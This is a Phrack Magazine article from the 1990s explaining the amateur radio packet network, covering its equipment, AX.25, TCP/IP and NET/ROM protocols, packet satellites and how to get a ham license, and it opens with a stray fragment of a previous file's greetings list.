MrG (+l+l for getting arrested, +e for not narking)
The Dark Tangent (+l, for making this list)\032
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 9 of 27

****

The Amateur Radio Packet Network

by Larry Kollar, KC4WZK

> ... As a low-orbit satellite comes into range, Jim’s system automatically goes into action. The computer downloads the last half of an image taken by the satellite’s CCD camera, the first half having been taken on the previous pass. That done, the computer gets a list of new files on the satellite’s BBS and downloads Jim’s email...

It’s legal.

> ... Her mother is on the phone, but Rhonda accesses the local BBS by radio. She logs in to read postings from a world-wide network and her email from a penpal in Great Britain...

It’s not Internet.

> ... 11:30 p.m., and the local conference node is jumping. Two people were trying to work out a computer problem, when the local expert checked in with some ideas. Before long, three more people checked in and a freewheeling discussion got under way...

It’s happening now.

While the Internet has been growing fast and with great hoopla, amateur radio operators (or "hams") around the world have been quietly building a network of their own -- the Amateur Radio Packet Network. Like Internet, the packet network has a large TCP/IP component and is available to anyone who can get access. Unlike Internet, getting access is very easy for nearly anyone who already has a ham license.

The packet network is rather loosely organized, and is built and maintained by volunteer work. It’s basic building block is the LAN (actually a MAN, or Metro Area Network, but terminology is never 100% accurate), which are coordinated by local or regional clubs. A LAN occupies a specific radio frequency (or channel, if you want to be crude about it :-), usually VHF or UHF, within a given area. Individuals and the regional organizations provide links between LANs for communications outside the local area.

LAN operations work much like Ethernet -- your radio waits for the frequency to be clear, then transmits a packet. This allows several connections to run at once. Most packet systems can themselves maintain up to 10 simultaneous connections, but this feature is used only rarely.

Packet Radio Equipment

Hams to want to use packet radio need three pieces of equipment:

- A radio (of course). Most LANs are found on the 2-meter band (144-148 MHz, with packet concentrated around 145.0 MHz and 145.6 MHz. Many hams dedicate older crystal-controlled commercial or ham radios to packet work.

- A TNC (Terminal Node Controller). This is an intelligent box that contains a packet modem much like the guts of a landline (telephone) modem, and a microcomputer that handles the network interface. Other alternatives are available, including a dumb radio modem that plugs into a PC (software on the PC then handles the network interface), and multimode controllers that can handle other digital communication methods popular among hams. However, most hams use TNCs since they are cheap (just over $100) and readily available.

- A terminal, or a PC running a terminal or packet program. Since TNCs are smart devices, a simple terminal or terminal emulator is all that's required: if it has a keyboard, a display, and an RS-232 port, you can use it with a TNC. However, many features (multiple connections, for example) are more useful if you have a computer running special packet software.

Currently, most hams use 1200 baud on 2 meters. This is the lowest (very) common denominator in packet radio. However, large urban areas are starting many new LANs in the 420-450 MHz amateur band; most of these use 9600 baud as a minimum. As time goes on, and packet radio becomes more popular, 9600 baud will become the entry level.

When many inter-LAN links use 56K baud, and some go as high as 2M baud, why are the vast majority of hams still using 1200 baud? Part of the answer is technical: to get reliable performance at better than 2400 baud, you have to tap into the guts of the radio, bypassing the audio stages for both transmit and receive. The other part is social: everybody else is using 1200 baud, why spend extra money for stuff you can't use? The technical problem has been solved -- you can buy "data radios" in kits and pre-built models that come with the audio bypasses already in place -- but it will take a few years or a good reason for hams to abandon their old gear and move up.

Local Communications

There is lots of local action to be found on the LANs. People and clubs run BBSes, conference nodes, and many personal mailboxes. Most BBSes are set up so they can send email and specified bulletins (equivalent to Usenet newsgroup articles) to personal mailboxes during late night hours when usage is light. A ham using this setup simply accesses his personal mailbox to get his feed for the day, not worrying about noise and propagation delays.

In general, a ham who wants to add a component to a LAN just puts it up and advertises it on the local BBSes. For example, a friend in my area recently set up a "QUOTES" BBS dedicated to sharing quotes and funny stories. Perhaps by time this issue of Phrack is published, I will have a Xenix system available for logins over the air.

In most areas, the local networks use AX.25 (a subset of X.25 designed by hams especially for packet radio), although TCP/IP is getting popular in some places. I'll talk more about this later.

Linking It All Together

A single LAN is useful, but the REAL power comes from hooking them together. Linking LANs into a wide-area network gives the Internet its power; so it goes with the packet network. With inter-LAN links, we can send email nationwide (and to many foreign countries), post articles (bulletins) for general reading, and even make distant keyboard-to-keyboard contacts -- with some limitations.

So how is it done? Since many metro areas support a dozen or more LANs, these are usually linked together with high-speed UHF equipment using TCP/IP. An Atlanta-based group called GRAPES has developed a 56K bps system; some experimental links in the microwave bands run as fast as 2 MEGA bps!

For long-haul links, many areas rely on HF (shortwave) frequencies. Since the FCC limits HF packet to 300 baud (yes, you read that right -- 300 baud), and the HF frequencies are often very noisy, this is a slow and painful process. The amazing thing is not how slow it is, but that it works at all!

For this reason, many forward-looking hams are turning to packet satellites for long-haul links. The advantages include relatively quiet frequencies, 9600 baud data rates, and predictability; the major disadvantage is that there are simply not enough satellites to handle all the traffic that needs to be handled -- yet. I'll talk more about packet satellites later.

AX.25, TCP/IP, and All the Rest

The packet network grew from a handful of different experiments with radio networking, which has left us with several networking protocols. Far and away the most popular protocol is AX.25, which is built into thousands and thousands of TNCs and other packet controllers. AX.25, as implemented in most ham gear, offers up to 10 simultaneous connections and the ability to "digipeat" packets. Digipeating (DIGItal rePEATING) is one way to extend the range of a packet station -- if you can't reach the station you want to talk with directly, you can often digipeat through a station between you and the other person. One problem is that you have to manually construct a route each time you want to contact a distant station. The other problem is that the send-acknowledge sequence has to run all the way across the link. Digipeating through more than one or two stations is a good way to annoy other LAN users, and unreliable to boot. The connection works as follows:

```
                 ---send---\    /-------->
        station1            digi           station2
                 <---------/    \-- ack --
```

One popular improvement on the digipeater is the K-node, developed by Kantronics (a vendor of packet equipment). The K-node establishes two links -- one between you and the node, the other between the node and the other station. Each link has its own send-acknowledge loop, so a problem in one leg of the connection doesn't require re-sending packets through the entire end-to-end connection -- only through the leg where the packet got garbled. This connection works as follows:

```
                 ---send---\      /--send-->
        station1            K-node           station2
                 <--ack----/      \-- ack --
```

The K-node shares one disadvantage with the digipeater -- you still have to manually construct your own connection. This is where the higher-level protocols come in.

I've already mentioned TCP/IP. Yes, we have it. The 44.*.*.* network is assigned exclusively to amateur packet operations. The network name is "ampr.org." Since TNCs do not have TCP/IP in ROM, some kind of personal computer is required. Most of them work -- PCs, Macs, Amigas, Ataris all have TCP/IP networking software. If you've ever used the free KA9Q NOS software (or one of its derivatives), you have software that was developed by hams for hams. TCP/IP lets amateurs create all sorts of interesting experiments, such as setting up "wormholes" through the Internet to relay traffic between distant LANs. Some parts of the country have Internet/packet email access as well.

There are other "smart" networking protocols in wide use. NET/ROM is one highly popular protocol. Each NET/ROM node keeps a table of nodes heard and how to reach each one, eliminating the hassles of manual routing. One problem with NET/ROM is that during band openings, VHF and UHF signals can carry for hundreds of miles beyond their normal range. ("Line of sight?" Yeah right -- a friend of mine in north Georgia has made contacts with people as far away as Lincoln, Nebraska on 2 meters using the stuff he carries around in his truck.) After a band opening, NET/ROM nodes find themselves stuffed with faraway nodes that they can't hear anymore.

The phreakers in the audience may find ROSE interesting. ROSE bases addresses on the NANP area code/prefix scheme. If a person uses ROSE, and you know her call sign and phone number, you contact her at the address "<call> VIA AAAPPP." Unfortunately, ROSE does not have the widespread use necessary to make it a nationwide network.

There are several other networking protocols in use, such as TheNet and a few others. However, I expect TCP/IP to replace most if not all competing protocols in a few years.

Packet Satellites

Here's something you won't see on Internet. Maybe some of Internet's traffic goes over satellites, but direct contact?

Since 1959, amateurs have launched nearly 30 satellites into orbit. Nearly 20 of these are still in service -- and most of them are dedicated at least part-time to packet operation.

>From a user's standpoint, there are two different types of packet satellite -- one type using 1200 bps FSK (frequency-shift keying) and the other using 9600 bps FM. The current population is split, with about a half dozen of each type. Most packet satellites, or pacsats, are based on a design from University of Surrey in Great Britain -- they're small and lightweight, keeping launch costs to a minimum. Pacsats are always launched as secondary payloads, and often ride as ballast to reduce launch costs even further.

Many pacsats have on-board CCD cameras that can take pictures of Earth or space, and make the pictures available for downloading from the on-board BBS. Other pacsats carry equipment that allow them to be switched into a transponder mode, such as the Japanese FujiSat that carries SSB and CW (Morse code) contacts on Wednesdays, or can even be converted into an FM repeater such as AO-21.

Some special software has been developed to make the most of the limited bandwidth. For example, pictures can take more time to download than is available during a single pass (normally 10-20 minutes), especially if other users are sending and downloading other files at the same time. The software, called PB, lets you download and upload as much of a file as possible during one pass, then gets the rest of the file on subsequent passes. Other software lets you automate the entire process, so you can get new files as they arrive without having to get up early for that 4 a.m. pass. PB also lets you download files by listening in -- if another person is downloading the file you want, you can simply listen to the downlink and let PB construct the file for you. This is a good way to save bandwidth; if two people want the same file, only one of them has to actually download it. If there are holes in the file, you can fill them in later.

Getting an Amateur Radio License

There are five grades of amateur radio licenses in the U.S.; from lowest to highest, they are Novice, Technician General, Advanced, and Extra. Each grade of license has a test on theory and regulations, with a Morse code "element" required for several of them.

The good news is that 99% of what packet radio has to offer is available to the Technician. The better news is that the Technician license, as of January 1991, no longer requires you to learn Morse code. The "codeless Tech" has brought a great deal of new blood into ham radio, including many hackers and mainstream computer people.

Study guides are available from Radio Shack and the American Radio Relay League (ARRL); the ARRL's guides are the better of the two, in my opinion. You can get ARRL study guides at most ham radio stores or directly from the ARRL. If you want to get a codeless Technician license, you'll need the Novice and the Technician study guides. The material isn't very hard to learn; anyone who can navigate the guts of Ma Bell will have no trouble with the Novice or Technician exams. :-)

The ARRL can also provide you with a free schedule of exams in your area. The FCC some years ago turned over all testing to accredited amateur groups, so you should be able to find an exam at a time and place convenient to you. Many other ARRL services are available through an Internet mail server; send mail to info-server@arrl.org containing the line "send index" in the body of your message.

If there's any bad news, it's that a group of diehards can't stand the idea of a code-free ham license. Some of these folks will go out of the way to hassle code-free hams. Fortunately, most of them are afraid of computers and don't do packet. Other things to watch out for -- the FCC frowns on profanity, intentional jamming, and encrypted data sent over the air. A small price to pay, in my opinion, for the opportunity to build and explore a worldwide network without the Secret Service breathing down your neck.

-- end --